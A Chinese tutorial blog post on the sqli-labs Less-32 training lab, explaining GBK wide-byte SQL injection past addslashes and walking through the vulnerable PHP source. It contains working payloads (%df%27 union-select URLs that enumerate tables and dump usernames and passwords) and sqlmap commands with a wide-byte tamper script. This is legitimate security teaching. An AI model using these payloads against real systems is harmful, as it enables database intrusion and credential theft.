sqli-labs这个靶场,前31关大多数人是笑着刷过去的,到了Less-32才开始真正怀疑人生。这一关的标题叫“Bypass custom filter adding escaped parameter”,翻译成人话就是:服务端明明给参数加了反斜杠转义,你却还得想办法把注入打进去。很多人卡在这里,不是不会写union select,而是搞不明白一个关键问题:单引号前面明明被加了反斜杠,为什么用%df+'组合一下,反斜杠就凭空消失了?
如果你也在刷sqli-labs,或者刚接触SQL注入想搞懂宽字节注入到底是什么,这篇文章就是给你准备的。我会从原理、源码、手工注入全流程到常见坑位,把Less-32这一关掰开揉碎讲清楚,保证你看完不仅能通关,还能顺手搞懂Less-33、Less-34那套兄弟关卡。
1. 关卡定位:为什么Less-32是sqli-labs的分水岭
1.1 这一关到底考什么
Less-32本身是一个基于GET传参的字符型注入点,SQL语句大概是SELECT * FROM users WHERE id='$id' LIMIT 0,1这种结构,参数外面套了单引号。如果你直接输入?id=1',服务端会调用一个类似addslashes的过滤函数,把单引号转义成\',于是SQL语句变成WHERE id='1\'',单引号被反斜杠“焊死”,注入直接失效。
但这一关特殊的地方在于,靶场把数据库连接字符集设置成了GBK。在GBK编码里,一个汉字占两个字节,而\的ASCII码是0x5c,单引号是0x27。如果你在'前面补上一个%df,经过过滤后原始输入变成了%df%5c%27,其中%df%5c在GBK字符集里会被解析成一个合法汉字,后面的%27就单独逃逸出来变成了真正的单引号。这就是宽字节注入的核心逻辑:不是绕过了过滤函数,而是利用编码差异让反斜杠“参与”到了前一个字符的编码里,从而失去转义作用。
这一关本质上考的是你对字符集、编码、转义这三个概念的理解深度。单纯会背payload没用,你得知道payload为什么长这样,换了编码环境为什么就不生效。
1.2 和前31关有什么区别、哪些关卡会延续这套玩法
在Less-32之前,你遇到的注入点大多能直接输入'闭合,比如Less-1是单引号闭合,Less-2是数字型,Less-3是单引号加括号。这些关卡不涉及任何输入过滤,你只需要关注SQL语句本身的拼接逻辑。
到了Less-32,靶场开始引入“过滤”概念。同一个',前面被强行加了一个\,原本的注入路径被堵死。但更阴险的是,这个过滤函数对GET、POST、Cookie的所有参数统一生效,意味着你没法通过更换传参方式来绕过。
Less-32、Less-33、Less-34三关是一套连续剧,它们的核心都是宽字节注入,只是传参方式不同:
| 关卡 | 传参方式 | 过滤函数 | 注入闭合类型 |
|---|---|---|---|
| Less-32 | GET型,id参数 | 自定义check_addslashes (addslashes) | 单引号字符型 |
| Less-33 | GET型,id参数 | mysql_real_escape_string | 单引号字符型 |
| Less-34 | POST型,uname/passwd | check_addslashes + mysql_real_escape_string | 单引号字符型 |
也就是说,Less-32你只要能手工打通,后面两关基本就是换汤不换药的复刻。Less-34的POST传参稍微改一下请求方式就行,payload思路完全一致。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 宽字节注入原理拆解:addslashes、GBK和“被吞掉的反斜杠”
2.1 addslashes做了什么:看起来滴水不漏的转义
addslashes是PHP里一个很经典的字符串转义函数,它会对输入内容中的单引号'、双引号"、反斜杠\和NULL字符进行转义处理。以单引号为例,输入1',经过addslashes后会变成1\'。
在SQL语句里,\'会被MySQL解析为普通的单引号字符,而不是字符串边界,所以WHERE id='1\''这条语句实际上是把1'当作id的值去查,语法正确但完全无法注入。
这函数看着挺安全,但它的安全边界建立在一个前提上:数据库连接的字符集得是ASCII或UTF-8这类单字节/多字节安全的编码。一旦换成GBK这类多字节编码,问题就来了。
2.2 为什么%df能吃掉反斜杠:GBK双字节编码的越界解析
GBK编码的汉字由两个字节组成,第一个字节范围是0x81-0xFE,第二个字节范围是0x40-0xFE(不包括0x7F)。问题就出在这个第二字节的取值范围内——它包含了0x5c,也就是反斜杠的ASCII码。
我们重新走一遍流程:
- 你输入
1%df',URL解码后是1\xdf'。 - PHP的
addslashes在单引号前加反斜杠,变成1\xdf\',也就是字节序列1 \xdf \x5c \x27。 - MySQL收到这个字节序列后,按GBK去解析:
\xdf\x5c被解读成一个合法的GBK汉字,剩下\x27就是单引号。
于是,你输入的单引号成功逃逸出来,闭合了SQL语句中的'。反斜杠并没有被删除,它只是被“吸收”成了前一个汉字编码的一部分,这就是宽字节注入里常说的“吞反斜杠”。
更宽泛地讲,不只是%df,%bf、%fc、%fe这些落在0x81-0xFE范围内的第一字节都可以配合0x5c构造宽字节注入。不同位置可用的字节不太一样,实际打靶场时%df最稳,所以网上最常见的payload就是%df'。
2.3 宽字节注入成立的三件套:连接编码、转义函数、注入点闭合
搞懂原理后你会发现,宽字节注入不是随便就能触发的,它需要三个条件同时满足:
第一,数据库连接字符集是GBK或GB2312。只有这类双字节字符集的第二字节范围覆盖0x5c,才会出现编码歧义。如果连接字符集是UTF-8,\xdf\x5c不会被解析成一个合法字符,反斜杠老老实实发挥转义作用,注入失败。
第二,PHP层有一个转义函数在单引号前加反斜杠。这个函数可以是addslashes,也可以是mysql_real_escape_string。没有这层过滤,你直接拼'就行,反而用不上宽字节思路。
第三,注入点是字符型,且参数外层有单引号闭合。你得有办法让逃逸出来的单引号去闭合SQL语句的边界,才能继续拼后面的order by、union select。
理解这三件套特别重要。很多人在Less-32打成功了,转头去别的站测宽字节注入,发现%df'根本没用,就是因为对方数据库连接用的是UTF-8,或者根本没有对参数做转义处理。
3. 源码分析与环境准备:把原理放到代码里验证
3.1 Less-32源码里最关键的几行
去靶场目录打开Less-32/index.php,核心代码逻辑并不复杂。最关键的其实是两个点:一是它自定义了一个对所有参数生效的过滤函数,二是数据库连接时把字符集设置成了gbk。
过滤函数的大致形式如下:
php复制function check_addslashes($string) {
$string = addslashes($string);
return $string;
}
它会对从$_GET、$_POST、$_COOKIE拿到的值统一先过一遍addslashes。也就是说,不管你是从URL传参还是从请求体传参,单引号都会被加上反斜杠。
数据库连接部分大概是这样的代码:
php复制$con = mysqli_connect($host, $dbuser, $dbpass, $dbname);
mysqli_set_charset($con, 'gbk');
问题就出在mysqli_set_charset($con, 'gbk')这一行。虽然PHP源码文件本身可能是UTF-8编码,但这个函数告诉MySQL:客户端发过来的字节请按GBK字符集理解。于是我们构造的%df%5c%27就会被按GBK解码,%df%5c变成一个汉字,%27变成单引号。
SQL拼接部分则是:
php复制$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
了解这三个片段后,整条攻击链路就很清晰了:addslashes负责加反斜杠,gbk负责吞掉反斜杠,字符型SQL负责提供注入点。
3.2 搭建可复现环境:PHP版本、MySQL版本、靶场源码
sqli-labs是一个老牌PHP靶场,搭建环境时要注意版本兼容。现在网上能下到的sqli-labs版本比较多,有的老版本在PHP 7.4以上会报mysql_*函数不存在的错,因为PHP 7.0以后移除了mysql_*系列函数。所以我自己的建议是:
直接采用phpStudy这样的集成环境,PHP版本选择5.5或5.6,MySQL保持5.x,Apache或Nginx都行。老版本PHP对sqli-labs的兼容性最好,避免因为环境问题干扰你关注注入本身。
把sqli-labs源码放到Web根目录,访问http://127.0.0.1/sqli-labs/,先运行sql-connections/setup-db.sql初始化数据库,或者直接访问首页让它自动安装。安装成功后会看到一个关卡列表,点进Less-32就开始正式挑战。
如果你是用了Docker环境,自己拉sqli-labs镜像也可以,但需要确认镜像里的PHP和MySQL字符集配置是否保留了GBK连接。有些优化过的镜像会默认全部改成UTF-8,那Less-32就没法复现了。
4. 手工注入完整实操:从试探闭合到拿到users表数据
4.1 第一枪:用报错确认注入点
打开Less-32,页面正常显示的一个参数是id,默认有个下拉框传参。用浏览器访问:
text复制http://127.0.0.1/sqli-labs/Less-32/?id=1%df%27
如果你直接在URL输入?id=1%df',浏览器一般不会主动编码单引号,所以最好手动把'编码成%27。同时注意,%df必须保持大写或小写都行,但不要被浏览器转成其他字符。
此时页面大概率会报错,提示类似于You have an error in your SQL syntax near ''1' LIMIT 0,1'。这个报错信息非常关键,它泄露了两个信息:
第一,SQL语句里id参数是被单引号包裹的。第二,我们的%df'成功把单引号逃逸了出来,导致SQL语法被破坏,从而报错。
如果此时你输入?id=1%27(也就是直接输入1'),你会发现页面不报错,而是正常显示一条记录。因为1'经过addslashes变成1\',SQL语句变成id='1\'',MySQL把1'当成一个普通字符串去查询,查到不存在的记录,页面就表现得很“正常”。这种对比能帮你确认过滤函数确实生效了。
4.2 确定列数与显示位:order by和union select
确认注入点后,下一步是猜测SELECT语句的列数。由于单引号被转义,直接在闭合后写order by就行,payload如下:
text复制http://127.0.0.1/sqli-labs/Less-32/?id=1%df%27%20order%20by%203--+
注意--+在URL里要写成--+或者--%20,因为MySQL的注释符是-- (后面有空格),而URL里的空格会被编码。--+是绕过Web层后让MySQL看到-- 的常用写法。
依次尝试order by 3和order by 4。如果order by 3正常返回记录,order by 4报错,就说明原查询只有3列。Less-32的users表查询结果正好是3列。
确定列数后,把id改成不存在的值,让前面的查询结果为空,然后拼接union select:
text复制http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27%20union%20select%201,2,3--+
页面会显示2和3两个数字出现在用户名和密码的位置,说明第2列和第3列是显示位,可以在这里填我们要查的数据。
4.3 爆破库名、表名、字段名
显示位确认后,开始拖库。先查当前数据库名,payload如下:
text复制http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27%20union%20select%201,database(),3--+
页面显示的第二个数字变成了security,这就是当前使用的数据库名。
接下来查表名,把database()替换成group_concat(table_name),并指定table_schema=database():
text复制http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
这里有个细节需要特别注意:table_schema=database()里的database()是一个函数,不需要引号,所以不受addslashes影响。但如果要写字符串常量,比如table_schema='security',那个单引号会被addslashes转义,直接导致SQL语法错误。所以字符串常量需要转成十六进制再写,例如security的十六进制是0x7365637572697479。
查询字段名时同理,用table_name=0x7573657273来指定users表(users的十六进制是0x7573657273):
text复制http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273--+
结果会返回id,username,password等字段名。
4.4 拖数据:users表完整payload与十六进制技巧
拿到字段名后,直接查users表的数据:
text复制http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27%20union%20select%201,group_concat(username),group_concat(password)%20from%20users--+
页面会一次性列出所有用户名和密码。如果觉得拼接的字段太多看不清楚,可以用concat_ws分隔,例如:
text复制http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users--+
这里0x3a是冒号的十六进制,目的只是让显示更清爽,没有特别的绕过意义。
整个流程走下来你可能会发现,Less-32的payload套路和Less-1区别不大,核心差异只在于:其一,每个'前面都要加%df;其二,SQL语句里的字符串常量尽量用十六进制写,避开转义函数。掌握这两个点,Less-32对你来说就跟普通字符型注入没有区别了。
5. 常见问题排查与避坑指南
5.1 “我的%df'怎么不生效?”:三种典型原因
这是新手问得最多的问题。同样一套payload,别人一把梭,你这边死活不报错,多半是下面几种情况:
第一,数据库连接没有设置成GBK。你把mysqli_set_charset($con, 'gbk')这行去掉,或者在源码里改成了utf8,宽字节注入立刻失效。排查方法是直接看源码里的连接字符集设置,不要只看页面编码。页面编码是UTF-8不代表MySQL连接也是UTF-8,两者是独立的事情。
第二,%df没有正确传到后端。有些浏览器地址栏会自动处理特殊字符,或者你在Burp Suite里测试时没有对请求做完整的URL编码。最稳妥的方式是把整个请求复制到Burp的Repeater里,手动构造原始HTTP请求,避免浏览器干扰。
第三,你输入的是%df%27而不是%df'。这两个在部分环境下效果相同,但有些中间件或Web层会先做一次字符标准化,导致数据发生变化。严格用URL编码形式最保险。
5.2 输出乱码怎么办:convert()和hex()处理
宽字节注入有个很常见的副作用:页面输出乱码。因为数据库连接按GBK解析数据,而页面本身是UTF-8输出的,查出来的汉字可能变成“锟斤拷”之类的乱码。
这不是注入失败,只是显示问题。可以用MySQL的convert()函数把数据转成UTF-8再输出,例如:
text复制?id=-1%df%27%20union%20select%201,convert(database()%20using%20utf8),3--+
如果还乱,也可以用hex()函数把结果转成十六进制,然后在本地手动解码。查表和字段名时优先用十六进制字符串,既避免转义问题,也避免显示乱码。
5.3 什么时候可以用sqlmap:手工优先,工具兜底
很多人打靶场习惯直接上sqlmap,一条命令扫完收工:
bash复制sqlmap -u "http://127.0.0.1/sqli-labs/Less-32/?id=1" --batch --dbs
sqlmap自动检测宽字节注入的能力是有的,但我不建议你跳过手工注入直接跑工具。Less-32的价值恰恰在于让你理解“为什么%df'能闭合单引号”这个底层原理,这个理解了,后面遇到WAF绕过、二次编码注入,你才能触类旁通。
如果非要上工具,可以指定tamper脚本unmagicquotes,它会自动帮你做宽字节编码:
bash复制sqlmap -u "http://127.0.0.1/sqli-labs/Less-32/?id=1" --tamper=unmagicquotes --batch --dbs
但请记住,工具只是验证思路的手段,不是学习注入的捷径。我在带新人刷靶场时定的规矩是:Less-32之前所有关卡必须手工打通,Less-33之后才允许用sqlmap。因为手工打的过程,才是真正建立SQL语句结构感的过程。
另外,Less-32打完后赶紧去把Less-33和Less-34也刷了,三关放在一起对比着看,你会更清晰地意识到:同一个漏洞点,换一个过滤函数、换一种传参方式,表象会完全不一样,但底层编码问题始终没变。
